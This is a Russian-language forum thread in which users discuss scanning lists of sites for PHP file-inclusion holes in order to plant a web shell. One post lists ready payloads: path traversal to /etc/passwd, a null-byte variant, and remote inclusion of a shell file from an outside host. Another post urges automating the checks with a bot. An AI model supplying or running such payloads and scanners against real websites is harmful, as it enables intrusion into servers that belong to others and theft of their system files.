ПОдскажите есть ли скрипт, который умеет определять есть ли возможность воспользоватся инклудом тоесть например зарядить ему список url такого вида www.site.com/index.php?page=а сюда наш шел
Любая автоматизация поиска уязвимостей - утопия, имхо. Со временем, конечно. Автоматизация же процесса получения данных на основе выявленной уязвимости - рулез форева.
Просто я думаю, хотя это конечно весьма сугубо, что понятие " известным классам уязвимостей " весьма быстро, в смысле гораздо быстрее, чем раньше, при современных темпах развития сети и т.д, переходит в понятие "пофиксили, забудь, дружище" ЗЫЖ Предлагаю больше на эту тему на флудить, ибо и так высеры постим личностные, а ачад, на мой взгляд, либо по делу - либо флуд. За что и ценю
?a=../../../../../../../../../../../../../../../../etc/passwd ?a=../../../../../../../../../../../../../../../../etc/passwd%00 ?a=http://site.ru/shell.txt ?a=http://site.ru/shell.txt%00 ручками, чем не вариант =))?
Какой смысл использовать руки и делать однотонную работу? (MMORPG задротам посвящается) Машина была придумана для того, что бы как раз избежать этой монотонной работы со стороны людей. Но походу у людях в генах заложено делать однотипную работу, и они к этому так стремятся. Я лучше поставлю Бота, пускай проверяет ссылки, а сам займусь другими делами, тем самым сохранив больше времени.